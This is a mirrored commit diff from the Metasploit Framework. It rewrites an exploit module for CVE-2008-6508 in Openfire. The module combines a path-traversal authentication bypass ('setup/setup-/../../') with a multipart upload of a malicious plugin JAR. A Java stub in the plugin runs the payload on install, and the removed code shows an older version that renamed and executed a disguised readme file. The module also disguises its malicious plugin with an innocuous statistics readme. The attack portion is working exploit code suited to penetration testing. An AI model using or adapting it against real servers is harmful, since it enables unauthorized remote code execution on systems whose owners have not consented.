mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Module rewrite, included Java support, direct upload, plugin deletion
This commit is contained in:
parent
65197e79e2
commit
6cc8390da9
@ -1,4 +0,0 @@
|
||||
Manifest-Version: 1.0
|
||||
Ant-Version: Apache Ant 1.6.4
|
||||
Created-By: 20.0-b11 (Sun Microsystems Inc.)
|
||||
|
BIN
data/exploits/CVE-2008-6508/lib/plugin-metasploit.jar
Normal file
BIN
data/exploits/CVE-2008-6508/lib/plugin-metasploit.jar
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 1.8 KiB After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
Before Width: | Height: | Size: 1.0 KiB After Width: | Height: | Size: 1021 B |
@ -4,7 +4,7 @@
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>0.0.1</version>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin</title>
|
||||
<title>Load Statistic Plugin Readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
@ -57,13 +57,109 @@
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
Load Statistic Plugin Readme
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
<h2>Overview</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
The statistic plugin prints usage information of the database connection pool, thread pool used for processing
|
||||
incoming traffic and the NIO networking layer.
|
||||
</p>
|
||||
|
||||
<h2>Installation</h2>
|
||||
|
||||
<p>
|
||||
Copy the file, "statistic.jar" into the plugins directory of your Openfire installation. The plugin will
|
||||
then be automatically deployed.
|
||||
</p>
|
||||
|
||||
<h2>Configuration</h2>
|
||||
|
||||
At the moment there is no new page to configure the plugin. However, the plugin can be configured by setting
|
||||
a few system properties. Read the "Using the Plugin" section to learn which system properties to use.
|
||||
|
||||
<h2>Using the Plugin</h2>
|
||||
|
||||
<p>
|
||||
The plugin will collect information every few seconds and will print the collected information to a log file
|
||||
every minute. The log file is a comma delimited file that can be easily processed in Excel. You can configure
|
||||
the plugin by setting the system properties shown in the table below.
|
||||
<p>
|
||||
|
||||
<table class="events" cellpadding="3" cellspacing="1" border="0">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>System Property</th>
|
||||
<th>Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>
|
||||
<span class="event">statistic.frequency</span>
|
||||
</td>
|
||||
<td>
|
||||
Number of milliseconds to wait before collecting information. Default value is 5000 (5 seconds)
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
<span class="event">statistic.filename</span>
|
||||
</td>
|
||||
<td>
|
||||
Name of the file to use to store the statistics. The file will always be stored in the logs folder. Default value is "stats.txt".
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
<span class="event">statistic.connectionmanager</span>
|
||||
</td>
|
||||
<td>
|
||||
True if statistics will be collected for Connection Managers traffic or false when statistics will be collected for clients directly connected to the server. Default value is "false".
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<p>
|
||||
The format of the log file is the following:
|
||||
<ol>
|
||||
<li><b>Timestamp</b> - Timestamp when the data was collected</li>
|
||||
<li><b>DB min</b> - Minimum number of connections the pool may have</li>
|
||||
<li><b>DB max</b> - Maximum number of connectiosn the pool may have</li>
|
||||
<li><b>DB current</b> - Current number of connections the pool has</li>
|
||||
<li><b>DB used</b> - Current number of connections being used</li>
|
||||
<li><b>Core Threads</b> - Number of threads for processing incoming traffic</li>
|
||||
<li><b>Active Threads</b> - Number of threads that are actually processing incoming traffic</li>
|
||||
<li><b>Queue Tasks</b> - Number of stanzas stored in the queue when all threads where busy</li>
|
||||
<li><b>Completed Tasks</b> - Total number of stanzas that were processed</li>
|
||||
<li><b>Sessions</b> - Current number of client sessions in the server</li>
|
||||
<li><b>NIO Read</b> - Total number of stanzas that were read</li>
|
||||
<li><b>NIO Written</b> - Total number of stanzas that were sent</li>
|
||||
<li><b>Queued NIO events</b> - Current number of stanzas that are queued. Stanzas are queued when the same client sends many stanzas and the server is still processing a previous stanza. Queued stanzas are not yet considered read.</li>
|
||||
<li><b>Queues NIO writes</b> - Current number of stanzas pending to be sent</li>
|
||||
</ol>
|
||||
</p>
|
||||
|
||||
When processing the file in Excel you may want to add the following columns:
|
||||
<ul>
|
||||
<li><b>NIO Reads Delta</b> - Difference between a <i>NIO Read</i> row and its previous row</li>
|
||||
<li><b>NIO Writtens Delta</b> - Difference between a <i>NIO Written</i> row and its previous row</li>
|
||||
<li><b>Sessions delta</b> - Difference between a <i>Sessions</i> row and its previous row</li>
|
||||
</ul>
|
||||
|
||||
Excell charts are a great way for understanding the collected statistics. In particular, we found charts
|
||||
of the following columns useful.
|
||||
<ul>
|
||||
<li><b>NIO Read</b> and <b>NIO Written</b></li>
|
||||
<li><b>NIO Reads Delta</b> and <b>NIO Writtens Delta</b></li>
|
||||
<li><b>Sessions</b></li>
|
||||
<li><b>Sessions delta</b></li>
|
||||
<li><b>Completed Tasks</b></li>
|
||||
<li><b>DB used</b></li>
|
||||
<li><b>Active Threads</b></li>
|
||||
</ul>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
@ -10,43 +10,19 @@ import org.jivesoftware.openfire.container.PluginManager;
|
||||
import org.jivesoftware.util.JiveGlobals;
|
||||
import org.jivesoftware.util.Log;
|
||||
import org.jivesoftware.util.TaskEngine;
|
||||
import metasploit.*;
|
||||
|
||||
public class Example implements Plugin {
|
||||
private static final String OS_NAME = System.getProperty("os.name").toLowerCase();
|
||||
private static final String PATH_SEP = System.getProperty("path.separator");
|
||||
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
||||
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
||||
private static final String JAVA_HOME = System.getProperty("java.home");
|
||||
private static final String CURRENT_DIR = System.getProperty("user.dir");
|
||||
|
||||
public void initializePlugin(PluginManager manager, File pluginDirectory) {
|
||||
try{
|
||||
|
||||
// Try to rename the existing file, according
|
||||
String readmeFile = pluginDirectory.getCanonicalPath().toString() + "/" + "readme.html";
|
||||
String exeFile = pluginDirectory.getCanonicalPath().toString() + "/" + pluginDirectory.getName();
|
||||
|
||||
if (IS_DOS)
|
||||
{
|
||||
exeFile += ".exe";
|
||||
}
|
||||
|
||||
File file = new File(readmeFile);
|
||||
File file2 = new File(exeFile);
|
||||
|
||||
file.renameTo(file2);
|
||||
|
||||
if (!IS_DOS) {
|
||||
file2.setExecutable(true);
|
||||
}
|
||||
|
||||
Runtime.getRuntime().exec(new String[] { exeFile });
|
||||
|
||||
}
|
||||
Payload.main(null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.error("error", ex);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void destroyPlugin() {
|
||||
|
@ -8,7 +8,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
@ -19,33 +18,46 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
console of Openfire servers. By using this vulnerability it is possible to
|
||||
upload/execute a malicious Openfire plugin on the server.
|
||||
|
||||
As a direct plugin upload is not possible, a temporary HTTP server is created to serve a
|
||||
JAR archive with our payload/payload. This method will only work if the target server
|
||||
allows outbound connections to us.
|
||||
|
||||
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
|
||||
a Java payload, instead the native payload is stored in the changelog.html which will be
|
||||
renamed/executed by the plugin.
|
||||
|
||||
This module was tested against Openfire 3.6.0a
|
||||
It is possible to remove the uploaded plugin after execution, however this might turn
|
||||
the server in some kind of unstable state, making re-exploitation difficult. You might want to
|
||||
do this manually.
|
||||
|
||||
This module was tested against Openfire 3.6.0a.
|
||||
},
|
||||
'Author' => [ 'h0ng10', # Vulnerability discovery
|
||||
'Author' => [ 'Andreas Kurtz', # Vulnerability discovery
|
||||
'h0ng10', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 14774 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '49663' ],
|
||||
[ 'CVE', '2008-6508' ],
|
||||
[ 'BID', '32189' ],
|
||||
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 10 2008',
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'Platform' => ['java', 'win', 'linux' ], # Others ?
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Platform specific targets only
|
||||
# Java version
|
||||
#
|
||||
[ 'Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
],
|
||||
|
||||
#
|
||||
# Platform specific targets
|
||||
#
|
||||
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
@ -60,7 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
]
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
||||
))
|
||||
|
||||
register_options(
|
||||
@ -70,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]),
|
||||
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]),
|
||||
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]),
|
||||
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
|
||||
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
@ -78,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
def check
|
||||
path = datastore['PATH'] + 'login.jsp'
|
||||
res = send_request_raw(
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path
|
||||
}, 20)
|
||||
@ -102,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# Just to be sure, try to access the log page
|
||||
path = datastore['PATH'] + 'setup/setup-/../../log.jsp'
|
||||
res = send_request_raw(
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path
|
||||
}, 20)
|
||||
@ -120,8 +134,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
files = [
|
||||
[ "logo_large.gif" ],
|
||||
[ "logo_small.gif" ],
|
||||
[ "readme.html" ],
|
||||
[ "changelog.html" ],
|
||||
[ "lib", "plugin-metasploit.jar.pack" ]
|
||||
[ "lib", "plugin-metasploit.jar" ]
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
@ -141,19 +156,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
|
||||
# Handle incoming requests from the server, send the generated plugin
|
||||
def on_request_uri(cli, request)
|
||||
#print_status("on_request_uri called: #{request.inspect}")
|
||||
if (not @plugin_jar)
|
||||
print_error("A request came in, but the plugin WAR archive wasn't ready yet!")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending the plugin archive to the server...")
|
||||
send_response(cli, @plugin_jar)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
||||
plugin = get_plugin_jar(plugin_name)
|
||||
@ -163,59 +165,54 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
||||
|
||||
exe = generate_payload_exe(
|
||||
{
|
||||
:code => p.encoded,
|
||||
:arch => arch,
|
||||
:platform => plat
|
||||
})
|
||||
|
||||
plugin.add_file("readme.html", exe)
|
||||
#plugin.add_file("readme.html", exe)
|
||||
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
||||
plugin.build_manifest
|
||||
|
||||
# Provide the generated plugin jar to the web server
|
||||
@plugin_jar = plugin
|
||||
|
||||
# Send call to download the plugin from our server
|
||||
print_status("Sending call to download the plugin")
|
||||
resource_uri = '/' + plugin_name + '.jar'
|
||||
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
|
||||
print_status("Starting up our web service on #{service_url} ...")
|
||||
start_service({'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req| on_request_uri(cli, req)},
|
||||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
if (datastore['WARHOST'])
|
||||
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri
|
||||
end
|
||||
# Upload the plugin to the server
|
||||
print_status("Uploading plugin #{plugin_name} to the server")
|
||||
boundary = rand_text_alphanumeric(6)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
|
||||
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
||||
data << plugin.pack
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => datastore['PATH'] + 'setup/setup-/../../dwr/exec/downloader.installPlugin.dwr',
|
||||
'vars_post' => {
|
||||
'callCount' => "1",
|
||||
'c0-scriptName' => 'downloader',
|
||||
'c0-methodName' => 'installPlugin',
|
||||
'c0-id' => "#{rand_text_numeric(4)}_#{rand_text_numeric(13)}",
|
||||
'c0-param0' => "string:#{service_url}",
|
||||
'c0-param1' => "string:#{rand_text_numeric(7) }",
|
||||
'xml' => 'true',
|
||||
}
|
||||
'uri' => datastore['PATH'] + 'setup/setup-/../../plugin-admin.jsp?uploadplugin',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
}, 5)
|
||||
|
||||
},5)
|
||||
|
||||
if (! res)
|
||||
raise RuntimeError, "Unable to upload plugin file [No Response]"
|
||||
end
|
||||
|
||||
print_error("Warning: got no response from the upload, continuing...") if !res
|
||||
|
||||
# Sometimes the server needs some time to deploy the plugin, so we wait...
|
||||
1.upto(120) do
|
||||
break if session_created?
|
||||
select(nil, nil, nil, 0.25)
|
||||
handler
|
||||
end
|
||||
|
||||
# Delete the uploaded JAR file
|
||||
if datastore['REMOVE_PLUGIN'] then
|
||||
print_status("Try to remove plugin #{plugin_name} from the server")
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'] + "setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
}, 3)
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user